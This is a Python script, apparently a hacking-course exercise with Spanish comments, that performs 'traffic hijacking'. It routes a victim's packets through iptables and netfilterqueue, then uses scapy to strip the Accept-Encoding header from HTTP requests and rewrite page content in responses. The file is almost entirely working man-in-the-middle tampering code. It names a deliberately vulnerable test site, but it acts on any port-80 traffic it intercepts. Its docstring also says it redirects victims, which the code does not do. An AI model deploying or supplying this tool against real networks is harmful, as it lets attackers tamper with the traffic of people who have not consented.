113 lines
2.8 KiB
Python
113 lines
2.8 KiB
Python
#!/usr/bin/env python3
|
|
"""
|
|
Traffic Hijacking
|
|
|
|
Vamos a injectar código en la web testphp.vulnweb.com para que cuando se haga
|
|
una petición a la web desde la máquina victima, se redirija a nuestra web.
|
|
|
|
Para que funcione hay que redirigir el tráfico a la cola 0:
|
|
iptables -I INPUT -j NFQUEUE --queue-num 0
|
|
iptables -I OUTPUT -j NFQUEUE --queue-num 0
|
|
iptables -I FORWARD -j NFQUEUE --queue-num 0
|
|
iptables --policy FORWARD ACCEPT
|
|
|
|
Con esto no puedes navegar porque los paquetes están a la espera
|
|
de ser procesados por netfilterqueue.
|
|
|
|
Para eliminar las anteriores reglas:
|
|
iptables -D INPUT -j NFQUEUE --queue-num 0
|
|
iptables -D OUTPUT -j NFQUEUE --queue-num 0
|
|
iptables -D FORWARD -j NFQUEUE --queue-num 0
|
|
iptables --policy FORWARD ACCEPT
|
|
|
|
"""
|
|
|
|
import netfilterqueue
|
|
import re
|
|
import scapy.all as scapy
|
|
import signal
|
|
import sys
|
|
|
|
|
|
def def_handler(sig, frame):
|
|
"""
|
|
Ctrl + C
|
|
"""
|
|
|
|
print('\n[!] Saliendo...\n')
|
|
sys.exit(1)
|
|
|
|
|
|
signal.signal(signal.SIGINT, def_handler)
|
|
|
|
|
|
def set_load(packet, load):
|
|
"""
|
|
Modifica el campo load del paquete
|
|
"""
|
|
|
|
# Modificamos el campo load del paquete
|
|
packet[scapy.Raw].load = load
|
|
|
|
# Eliminamos los campos de la capa IP y TCP para que se recalcule el checksum
|
|
del packet[scapy.IP].len
|
|
del packet[scapy.IP].chksum
|
|
del packet[scapy.TCP].chksum
|
|
|
|
return packet
|
|
|
|
|
|
def process_packet(packet):
|
|
"""
|
|
Procesa los paquetes que llegan a la cola 0
|
|
"""
|
|
|
|
scapy_packet = scapy.IP(packet.get_payload())
|
|
|
|
if scapy_packet.haslayer(scapy.Raw):
|
|
|
|
try:
|
|
|
|
if scapy_packet[scapy.TCP].dport == 80:
|
|
|
|
print("Modificada petición HTTP")
|
|
|
|
# Eliminamos la cabecera Accept-Encoding para que no comprima
|
|
# el contenido
|
|
modified_load = re.sub(
|
|
b"Accept-Encoding:.*?\\r\\n", b"", scapy_packet[scapy.Raw].load
|
|
)
|
|
|
|
# Eliminamos la cabecera HTTP/1.1 para que no se queje
|
|
new_packet = set_load(scapy_packet, modified_load)
|
|
|
|
# Inyectamos código en la petición
|
|
packet.set_payload(new_packet.build())
|
|
|
|
elif scapy_packet[scapy.TCP].sport == 80:
|
|
|
|
print("Modificada respuesta HTTP")
|
|
|
|
# Inyectamos código HTML en la respuesta
|
|
modified_load = scapy_packet[scapy.Raw].load.replace(
|
|
b"welcome to our page", b"Welcome to the hacked page ;)"
|
|
)
|
|
|
|
# Enviamos el paguete modificado
|
|
new_packet = set_load(scapy_packet, modified_load)
|
|
|
|
packet.set_payload(new_packet.build())
|
|
|
|
except:
|
|
|
|
pass
|
|
|
|
packet.accept()
|
|
|
|
|
|
print(f"[+] Iniciando traffic hijacking ...")
|
|
|
|
queue = netfilterqueue.NetfilterQueue()
|
|
queue.bind(0, process_packet)
|
|
queue.run()
|